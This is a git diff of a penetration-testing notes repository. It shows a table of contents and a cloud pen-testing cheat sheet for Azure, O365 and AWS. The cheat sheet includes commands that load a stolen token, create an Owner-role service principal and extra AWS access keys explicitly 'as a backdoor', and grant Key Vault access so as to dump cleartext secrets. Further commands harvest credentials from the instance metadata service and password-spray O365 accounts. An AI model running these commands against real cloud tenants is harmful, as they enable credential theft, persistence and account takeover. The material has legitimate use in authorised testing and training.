     1284 + <path d="M11.75 1a.75.75 0 0 1 .75.75V4h6.532c.42 0 .826.15 1.143.425l3.187 2.75a1.75 1.75 0 0 1 0 2.65l-3.187 2.75a1.75 1.75 0 0 1-1.143.425H12.5v9.25a.75.75 0 0 1-1.5 0V13H3.75A1.75 1.75 0 0 1 2 11.25v-5.5C2 4.783 2.784 4 3.75 4H11V1.75a.75.75 0 0 1 .75-.75Zm7.282 4.5H3.75a.25.25 0 0 0-.25.25v5.5c0 .138.112.25.25.25h15.282c.06 0 .118-.021.163-.06l3.188-2.75a.248.248 0 0 0 0-.38l-3.188-2.75a.249.249 0 0 0-.163-.06Z"></path>
     1285 +</svg>
     1286 + 
     1287 + <h2 data-view-component="true" class="blankslate-heading"> No Milestones found!
     1288 +</h2>
     1289 + <p data-view-component="true"> If this project had milestones, we’d show you them here. Promise!
     1290 +</p>
     1291 + 
     1292 +</div>
     1293 + </div>
     1294 + 
     1295 + 
     1296 + </div>
     1297 + 
     1298 +</turbo-frame>
     1299 + 
     1300 + 
     1301 + </main>
     1302 + </div>
     1303 + 
     1304 + </div>
     1305 + 
     1306 + <footer class="footer width-full container-xl p-responsive" role="contentinfo">
     1307 + <h2 class='sr-only'>Footer</h2>
     1308 + 
     1309 + <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6">
     1310 + <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0">
     1311 + <div class="mt-2 mt-lg-0 d-flex flex-items-center">
     1312 + <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com">
     1313 + <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github">
     1314 + <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path>
     1315 +</svg>
     1316 +</a> <span>
     1317 + &copy; 2023 GitHub, Inc.
     1318 + </span>
     1319 + </div>
     1320 + </div>
     1321 + 
     1322 + <nav aria-label='Footer' class="col-12 col-lg-8">
     1323 + <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3>
     1324 + <ul class="list-style-none d-flex flex-wrap col-12 flex-justify-center flex-lg-justify-between mb-2 mb-lg-0" aria-labelledby='sr-footer-heading'>
     1325 + <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/site-policy/github-terms/github-terms-of-service" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to terms&quot;,&quot;label&quot;:&quot;text:terms&quot;}">Terms</a></li>
     1326 + <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/site-policy/privacy-policies/github-privacy-statement" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to privacy&quot;,&quot;label&quot;:&quot;text:privacy&quot;}">Privacy</a></li>
     1327 + <li class="mr-3 mr-lg-0"><a data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to security&quot;,&quot;label&quot;:&quot;text:security&quot;}" href="https://github.com/security">Security</a></li>
     1328 + <li class="mr-3 mr-lg-0"><a href="https://www.githubstatus.com/" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to status&quot;,&quot;label&quot;:&quot;text:status&quot;}">Status</a></li>
     1329 + <li class="mr-3 mr-lg-0"><a data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a></li>
     1330 + <li class="mr-3 mr-lg-0"><a href="https://support.github.com?tags=dotcom-footer" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to contact&quot;,&quot;label&quot;:&quot;text:contact&quot;}">Contact GitHub</a></li>
     1331 + <li class="mr-3 mr-lg-0"><a href="https://github.com/pricing" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to Pricing&quot;,&quot;label&quot;:&quot;text:Pricing&quot;}">Pricing</a></li>
     1332 + <li class="mr-3 mr-lg-0"><a href="https://docs.github.com" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to api&quot;,&quot;label&quot;:&quot;text:api&quot;}">API</a></li>
     1333 + <li class="mr-3 mr-lg-0"><a href="https://services.github.com" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to training&quot;,&quot;label&quot;:&quot;text:training&quot;}">Training</a></li>
     1334 + <li class="mr-3 mr-lg-0"><a href="https://github.blog" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to blog&quot;,&quot;label&quot;:&quot;text:blog&quot;}">Blog</a></li>
     1335 + <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li>
     1336 + </ul>
     1337 + </nav>
     1338 + </div>
     1339 + 
     1340 + <div class="d-flex flex-justify-center pb-6">
     1341 + <span class="f6 color-fg-muted"></span>
     1342 + </div>
     1343 +</footer>
     1344 + 
     1345 + 
     1346 + 
     1347 + 
     1348 + <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden>
     1349 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
     1350 + <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path>
     1351 +</svg>
     1352 + <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error">
     1353 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     1354 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     1355 +</svg>
     1356 + </button>
     1357 + You can’t perform that action at this time.
     1358 + </div>
     1359 + 
     1360 + <template id="site-details-dialog">
     1361 + <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open>
     1362 + <summary role="button" aria-label="Close dialog"></summary>
     1363 + <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal">
     1364 + <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog>
     1365 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     1366 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     1367 +</svg>
     1368 + </button>
     1369 + <div class="octocat-spinner my-6 js-details-dialog-spinner"></div>
     1370 + </details-dialog>
     1371 + </details>
     1372 +</template>
     1373 + 
     1374 + <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0">
     1375 + <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;">
     1376 + </div>
     1377 +</div>
     1378 + 
     1379 + <template id="snippet-clipboard-copy-button">
     1380 + <div class="zeroclipboard-container position-absolute right-0 top-0">
     1381 + <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w">
     1382 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2">
     1383 + <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path>
     1384 +</svg>
     1385 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2">
     1386 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1387 +</svg>
     1388 + </clipboard-copy>
     1389 + </div>
     1390 +</template>
     1391 +<template id="snippet-clipboard-copy-button-unpositioned">
     1392 + <div class="zeroclipboard-container">
     1393 + <clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w">
     1394 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon">
     1395 + <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path>
     1396 +</svg>
     1397 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none">
     1398 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1399 +</svg>
     1400 + </clipboard-copy>
     1401 + </div>
     1402 +</template>
     1403 + 
     1404 + 
     1405 + 
     1406 + 
     1407 + </div>
     1408 + 
     1409 + <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div>
     1410 + </body>
     1411 +</html>
     1412 + 
     1413 + 
     1414 + 
     1415 + 
  • ■ ■ ■ ■ ■
    SUMMARY.md
    skipped 2 lines
    3 3  * [😎 Cipherops](README.md)
    4 4  * [🤩 Embarking on Your Hacking Journey: A Guide for Beginners](embarking-on-your-hacking-journey-a-guide-for-beginners.md)
    5 5  * [🌏 Journeying Through the World of Ethical Hacking with Cipher-ops](journeying-through-the-world-of-ethical-hacking-with-cipher-ops.md)
    6  -* [Let's Start](lets-start/README.md)
     6 +* [ Let's Start](lets-start/README.md)
    7 7   * [🥳 Exploring Top Platforms and Websites for Hacking Practice and Learning](lets-start/exploring-top-platforms-and-websites-for-hacking-practice-and-learning.md)
    8 8   
    9 9  ## Overview
    10 10   
    11  -* [Resourses](overview/resourses/README.md)
     11 +* [ Resourses](overview/resourses/README.md)
    12 12   * [30 cybersecurity search engines](30-cybersecurity-search-engines.md)
    13 13   * [Essential Linux Commands](essential-linux-commands.md)
    14 14   * [Damn Vulnerabilities List Lab](damn-vulnerabilities-list-lab.md)
    skipped 1 lines
    16 16   * [Offensive virtual machine's](overview/resourses/offensive-virtual-machines.md)
    17 17   * [cybersecurity YouTube channels](overview/resourses/cybersecurity-youtube-channels.md)
    18 18   * [All DAMN vulnerable resources](overview/resourses/all-damn-vulnerable-resources.md)
    19  -* [OSINT](osint.md)
     19 +* [ OSINT](osint.md)
    20 20   
    21 21  ***
    22 22   
    skipped 2 lines
    25 25   * [One Liner from Awesome bug bounty](overview/recon-tips/one-liner-from-awesome-bug-bounty.md)
    26 26   * [Best Recon Technique For Active Subdomain Enumeration](recon-tips/best-recon-technique-for-active-subdomain-enumeration.md)
    27 27   * [Mastering the Art of Information Gathering](recon-tips/mastering-the-art-of-information-gathering.md)
    28  -* [Web Application](web-application/README.md)
     28 +* [ Web Application](web-application/README.md)
     29 + * [Web Application Testing Checklist](web-application/web-application-testing-checklist.md)
    29 30   * [PORT SCANNING](port-scanning.md)
    30 31   * [Subdomain Takeover Resources](subdomain-takeover-resources.md)
    31 32   * [Technology Identification](technology-identification.md)
    32 33   * [Content Discovery Tools](content-discovery-tools.md)
    33 34   * [Link Extraction Tools](link-extraction-tools.md)
    34  - * [Parameter and web fuzzing tools](parameter-and-web-fuzzing-tools.md)
     35 + * [Parameter and Web Fuzzing Tools](parameter-and-web-fuzzing-tools.md)
    35 36   * [Screenshots](screenshots.md)
    36 37   * [File Inclusion,CSRF Injection,Directory Traversal](exploitation/file-inclusion-csrf-injection-directory-traversal.md)
    37 38   * [GraphQL Injection,Insecure Deserialization,Header Injection](exploitation/graphql-injection-insecure-deserialization-header-injection.md)
    skipped 6 lines
    44 45   
    45 46  * [Thread by @ArchAngelDDay on Thread Reader App](twitter-threads/thread-by-archangeldday-on-thread-reader-app.md)
    46 47   
     48 +***
     49 + 
     50 +* [☁ Cloud Pen-Testing Checklist](cloud-pen-testing-checklist/README.md)
     51 + * [Cloud Pen-testing Part-1](cloud-pen-testing-checklist/cloud-pen-testing-part-1.md)
     52 + * [Cloud Pen-testing Part-2](cloud-pen-testing-checklist/cloud-pen-testing-part-2.md)
     53 + * [Cloud Pen-testing Part -3](cloud-pen-testing-checklist/cloud-pen-testing-part-3.md)
     54 + * [Cloud Pen-testing Part -4](cloud-pen-testing-checklist/cloud-pen-testing-part-4.md)
     55 + * [Cloud Pen-testing Part -5](cloud-pen-testing-checklist/cloud-pen-testing-part-5.md)
     56 + * [Cloud Pen-testing Part -6](cloud-pen-testing-checklist/cloud-pen-testing-part-6.md)
     57 + 
     58 +## ⚒ Tools
     59 + 
     60 +* [Axion-Scan](tools/axion-scan.md)
     61 + 
     62 +***
     63 + 
     64 +* [Page 1](page-1/README.md)
     65 + * [Bug Bounty Cheatsheet](page-1/bug-bounty-cheatsheet.md)
     66 + * [Bug-Bounty Checklist](page-1/bug-bounty-checklist.md)
     67 + 
  • ■ ■ ■ ■ ■ ■
    cloud-pen-testing-checklist/README.md
     1 +# ☁ Cloud Pen-Testing Checklist
     2 + 
     3 + 
     4 + 
     5 +\
     6 +The Cloud Pen-Testing Checklist is like a secret agent's toolkit for testing cloud security. It's filled with powerful commands and clever techniques to uncover vulnerabilities in platforms like Azure, AWS, and Google Cloud.
     7 + 
     8 +From sneaky subdomain scans to extracting hidden email addresses, this checklist has it all. It even teaches you how to use Google Dorking to find juicy information and gather breached credentials like a digital detective.
     9 + 
     10 +But it doesn't stop there. With CLI tools like Az PowerShell, you can unleash your hacking skills on virtual machines, storage buckets, and network components. It's like having a master key to the cloud kingdom.
     11 + 
     12 +And if you need extra firepower, there are special tools like GitLeaks, Mimikatz, and PowerView to uncover hidden secrets. You can even create your vulnerable infrastructure with projects like Cloudgoat and SadCloud to test your skills to the limit.
     13 + 
     14 +So, whether you're a cloud security pro or a curious hacker, the Cloud Pen-Testing Checklist is your ultimate ally. Get ready to dive into the world of cloud espionage and uncover vulnerabilities that others might miss.
     15 + 
     16 +Remember, with great power comes great responsibility. Always use your skills ethically and stay on the right side of the digital law.
     17 + 
     18 +Stay stealthy and happy hacking!
     19 + 
  • ■ ■ ■ ■ ■ ■
    cloud-pen-testing-checklist/cloud-pen-testing-part-1.md
     1 +# Cloud Pen-testing Part-1
     2 + 
     3 +````markdown
     4 +## Microsoft Azure & O365 CLI Tool Cheatsheet
     5 + 
     6 +### Az PowerShell Module
     7 + 
     8 +Import-Module Az
     9 + 
     10 +### Authentication
     11 + 
     12 +Connect to Azure with account credentials
     13 + 
     14 +```powershell
     15 +Connect-AzAccount
     16 +````
     17 + 
     18 +Alternatively, if MFA restrictions are in place
     19 + 
     20 +```powershell
     21 +$credential = Get-Credential
     22 +Connect-AzAccount -Credential $credential
     23 +```
     24 + 
     25 +#### Import a context file
     26 + 
     27 +```powershell
     28 +Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json'
     29 +```
     30 + 
     31 +#### Export a context file
     32 + 
     33 +```powershell
     34 +Save-AzContext -Path C:\Temp\AzureAccessToken.json
     35 +```
     36 + 
     37 +#### Account Information
     38 + 
     39 +List the current Azure contexts available
     40 + 
     41 +```powershell
     42 +Get-AzContext -ListAvailable
     43 +```
     44 + 
     45 +Get context details
     46 + 
     47 +```powershell
     48 +$context = Get-AzContext
     49 +$context.Name
     50 +$context.Account
     51 +```
     52 + 
     53 +List subscriptions
     54 + 
     55 +```powershell
     56 +Get-AzSubscription
     57 +```
     58 + 
     59 +Choose a subscription
     60 + 
     61 +```powershell
     62 +Select-AzSubscription -SubscriptionID "SubscriptionID"
     63 +```
     64 + 
     65 +Get the current user's role assignment
     66 + 
     67 +```powershell
     68 +Get-AzRoleAssignment
     69 +```
     70 + 
     71 +#### List all resources and resource groups
     72 + 
     73 +```powershell
     74 +Get-AzResource
     75 +Get-AzResourceGroup
     76 +```
     77 + 
     78 +#### List storage accounts
     79 + 
     80 +```powershell
     81 +Get-AzStorageAccount
     82 +```
     83 + 
     84 +#### WebApps & SQL
     85 + 
     86 +List Azure web applications
     87 + 
     88 +```powershell
     89 +Get-AzAdApplication
     90 +Get-AzWebApp
     91 +```
     92 + 
     93 +List SQL servers
     94 + 
     95 +```powershell
     96 +Get-AzSQLServer
     97 +```
     98 + 
     99 +Individual databases can be listed with information retrieved from the previous command
     100 + 
     101 +```powershell
     102 +Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName
     103 +```
     104 + 
     105 +List SQL Firewall rules
     106 + 
     107 +```powershell
     108 +Get-AzSqlServerFirewallRule –ServerName $ServerName -ResourceGroupName $ResourceGroupName
     109 +```
     110 + 
     111 +List SQL Server AD Admins
     112 + 
     113 +```powershell
     114 +Get-AzSqlServerActiveDirectoryAdminstrator -ServerName $ServerName -ResourceGroupName $ResourceGroupName
     115 +```
     116 + 
     117 +#### Runbooks
     118 + 
     119 +List Azure Runbooks
     120 + 
     121 +```powershell
     122 +Get-AzAutomationAccount
     123 +Get-AzAutomationRunbook -AutomationAccountName <AutomationAccountName> -ResourceGroupName <ResourceGroupName>
     124 +```
     125 + 
     126 +Export a runbook
     127 + 
     128 +```powershell
     129 +Export-AzAutomationRunbook -AutomationAccountName $AccountName -ResourceGroupName $ResourceGroupName -Name $RunbookName -OutputFolder .\Desktop\
     130 +```
     131 + 
     132 + 
  • ■ ■ ■ ■ ■ ■
    cloud-pen-testing-checklist/cloud-pen-testing-part-2.md
     1 +# Cloud Pen-testing Part-2
     2 + 
     3 +````markdown
     4 +## Microsoft Azure & O365 CLI Tool Cheatsheet (Part - 2)
     5 + 
     6 +### Virtual Machines
     7 + 
     8 +#### List VMs and get OS details
     9 + 
     10 +```powershell
     11 +Get-AzVM
     12 +$vm = Get-AzVM -Name "VM Name"
     13 +$vm.OSProfile
     14 +````
     15 + 
     16 +**Run commands on VMs**
     17 + 
     18 +```powershell
     19 +Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId RunPowerShellScript -ScriptPath ./powershell-script.ps1
     20 +```
     21 + 
     22 +#### Networking
     23 + 
     24 +**List virtual networks**
     25 + 
     26 +```powershell
     27 +Get-AzVirtualNetwork
     28 +```
     29 + 
     30 +**List public IP addresses assigned to virtual NICs**
     31 + 
     32 +```powershell
     33 +Get-AzPublicIpAddress
     34 +```
     35 + 
     36 +**Get Azure ExpressRoute (VPN) Info**
     37 + 
     38 +```powershell
     39 +Get-AzExpressRouteCircuit
     40 +```
     41 + 
     42 +**Get Azure VPN Info**
     43 + 
     44 +```powershell
     45 +Get-AzVpnConnection
     46 +```
     47 + 
     48 +#### Backdoors
     49 + 
     50 +**Create a new Azure service principal as a backdoor**
     51 + 
     52 +```powershell
     53 +$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
     54 +$spn
     55 +$BSTR = ::SecureStringToBSTR($spn.Secret)
     56 +$UnsecureSecret = ::PtrToStringAuto($BSTR)
     57 +$UnsecureSecret
     58 +$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
     59 +$role = Get-MsolRole -RoleName "Company Administrator"
     60 +Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
     61 +# Enter the AppID as username and what was returned for $UnsecureSecret as the password in the Get-Credential prompt
     62 +$cred = Get-Credential
     63 +Connect-AzAccount -Credential $cred -Tenant "tenant ID" -ServicePrincipal
     64 +```
     65 + 
     66 +#### MSOnline PowerShell Module
     67 + 
     68 +**Authentication**
     69 + 
     70 +```powershell
     71 +Connect-MsolService
     72 +```
     73 + 
     74 +**Account and Directory Information**
     75 + 
     76 +**List Company Information**
     77 + 
     78 +```powershell
     79 +Get-MSolCompanyInformation
     80 +```
     81 + 
     82 +**List all users**
     83 + 
     84 +```powershell
     85 +Get-MSolUser -All
     86 +```
     87 + 
     88 +**List all groups**
     89 + 
     90 +```powershell
     91 +Get-MSolGroup -All
     92 +```
     93 + 
     94 +**List members of a group (Global Admins in this case)**
     95 + 
     96 +```powershell
     97 +Get-MsolRole -RoleName "Company Administrator"
     98 +Get-MsolGroupMember -GroupObjectId $GUID
     99 +```
     100 + 
     101 +**List all user attributes**
     102 + 
     103 +```powershell
     104 +Get-MSolUser -All | fl
     105 +```
     106 + 
     107 +**List Service Principals**
     108 + 
     109 +```powershell
     110 +Get-MsolServicePrincipal
     111 +```
     112 + 
     113 +#### Az CLI Tool
     114 + 
     115 +**Authentication**
     116 + 
     117 +```powershell
     118 +az login
     119 +```
     120 + 
     121 +**Dump Azure Key Vaults**
     122 + 
     123 +**List out any key vault resources the current account can view**
     124 + 
     125 +```powershell
     126 +az keyvault list --query '[].name' --output tsv
     127 +```
     128 + 
     129 +**With contributor level access, you can give yourself the right permissions to obtain secrets.**
     130 + 
     131 +```powershell
     132 +az keyvault set-policy --name <KeyVaultname> --upn <YourContributorUsername> --secret-permissions get list --key-permissions get list --storage-permissions get list --certificate-permissions get list
     133 +```
     134 + 
     135 +**Get URI for Key Vault**
     136 + 
     137 +```powershell
     138 +az keyvault secret list --vault-name <KeyVaultName> --query '[].id' --output tsv
     139 +```
     140 + 
     141 +**Get cleartext secret from key vault**
     142 + 
     143 +```powershell
     144 +az keyvault secret show --id <URI from the last command> | ConvertFrom-Json
     145 +```
     146 + 
     147 +#### Metadata Service URL
     148 + 
     149 +```
     150 +http://169.254.169.254/metadata
     151 +```
     152 + 
     153 +**Get access tokens from the metadata service**
     154 + 
     155 +```
     156 +GET 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true
     157 +```
     158 + 
     159 +#### Other Azure & O365 Tools
     160 + 
     161 +**MicroBurst**
     162 + 
     163 +Azure security assessment tool
     164 + 
     165 +[https://github.com/NetSPI/MicroBurst](https://github.com/NetSPI/MicroBurst)
     166 + 
  • ■ ■ ■ ■ ■ ■
    cloud-pen-testing-checklist/cloud-pen-testing-part-3.md
     1 +# Cloud Pen-testing Part -3
     2 + 
     3 +````markdown
     4 +## Microsoft Azure & O365 CLI Tool Cheatsheet (Part-3)
     5 + 
     6 +### Other Azure & O365 Tools
     7 + 
     8 +#### Look for open storage blobs
     9 + 
     10 +```powershell
     11 +Invoke-EnumerateAzureBlobs -Base $BaseName
     12 +````
     13 + 
     14 +**Export SSL/TLS certs**
     15 + 
     16 +```powershell
     17 +Get-AzPasswords -ExportCerts Y
     18 +```
     19 + 
     20 +**Azure Container Registry dump**
     21 + 
     22 +```powershell
     23 +Get-AzPasswords
     24 +Get-AzACR
     25 +```
     26 + 
     27 +**PowerZure**
     28 + 
     29 +Azure security assessment tool
     30 + 
     31 +[https://github.com/hausec/PowerZure](https://github.com/hausec/PowerZure)
     32 + 
     33 +**ROADTools**
     34 + 
     35 +Framework to interact with Azure AD
     36 + 
     37 +[https://github.com/dirkjanm/ROADtools](https://github.com/dirkjanm/ROADtools)
     38 + 
     39 +**Stormspotter**
     40 + 
     41 +Red team tool for graphing Azure and Azure AD objects
     42 + 
     43 +[https://github.com/Azure/Stormspotter](https://github.com/Azure/Stormspotter)
     44 + 
     45 +**MSOLSpray**
     46 + 
     47 +Tool to password spray Azure/O365
     48 + 
     49 +[https://github.com/dafthack](https://github.com/dafthack)
     50 + 
     51 +```powershell
     52 +Import-Module .\MSOLSpray.ps1
     53 +Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020
     54 +```
     55 + 
     56 +### Amazon Web Services (AWS) CLI Tool Cheatsheet
     57 + 
     58 +#### Authentication
     59 + 
     60 +```bash
     61 +# Set AWS programmatic keys for authentication (use --profile= for a new profile)
     62 +aws configure
     63 +```
     64 + 
     65 +#### Open S3 bucket enumeration
     66 + 
     67 +**List the contents of an S3 bucket**
     68 + 
     69 +```bash
     70 +aws s3 ls s3://<bucketname>/
     71 +```
     72 + 
     73 +**Download contents of a bucket**
     74 + 
     75 +```bash
     76 +aws s3 sync s3://bucketname s3-files-dir
     77 +```
     78 + 
     79 +#### Account Information
     80 + 
     81 +**Get basic account info**
     82 + 
     83 +```bash
     84 +aws sts get-caller-identity
     85 +```
     86 + 
     87 +**List IAM users**
     88 + 
     89 +```bash
     90 +aws iam list-users
     91 +```
     92 + 
     93 +**List IAM roles**
     94 + 
     95 +```bash
     96 +aws iam list-roles
     97 +```
     98 + 
     99 +**List S3 buckets accessible to an account**
     100 + 
     101 +```bash
     102 +aws s3 ls
     103 +```
     104 + 
     105 +#### Virtual Machines
     106 + 
     107 +**List EC2 instances**
     108 + 
     109 +```bash
     110 +aws ec2 describe-instances
     111 +```
     112 + 
     113 +#### WebApps & SQL
     114 + 
     115 +**List WebApps**
     116 + 
     117 +```bash
     118 +aws deploy list-applications
     119 +```
     120 + 
     121 +````markdown
     122 +### List AWS RDS (SQL)
     123 + 
     124 +```shell
     125 +aws rds describe-db-instances --region <region name>
     126 +````
     127 + 
     128 +#### Serverless
     129 + 
     130 +**List Lambda Functions**
     131 + 
     132 +```shell
     133 +aws lambda list-functions --region <region>
     134 +```
     135 + 
     136 +**Look at environment variables set for secrets and analyze code**
     137 + 
     138 +```shell
     139 +aws lambda get-function --function-name <lambda function>
     140 +```
     141 + 
     142 +#### Networking
     143 + 
     144 +**List EC2 subnets**
     145 + 
     146 +```shell
     147 +aws ec2 describe-subnets
     148 +```
     149 + 
     150 +**List EC2 network interfaces**
     151 + 
     152 +```shell
     153 +aws ec2 describe-network-interfaces
     154 +```
     155 + 
     156 +**List DirectConnect (VPN) connections**
     157 + 
     158 +```shell
     159 +aws directconnect describe-connections
     160 +```
     161 + 
     162 +#### Backdoors
     163 + 
     164 +**List access keys for a user**
     165 + 
     166 +```shell
     167 +aws iam list-access-keys --user-name <username>
     168 +```
     169 + 
     170 +**Backdoor account with a second set of access keys**
     171 + 
     172 +```shell
     173 +aws iam create-access-key --user-name <username>
     174 +```
     175 + 
     176 +#### Instance Metadata Service URL
     177 + 
     178 +```
     179 +http://169.254.169.254/latest/meta-data
     180 +```
     181 + 
     182 +**Additional IAM credentials possibly available here**
     183 + 
     184 +```
     185 +http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
     186 +```
     187 + 
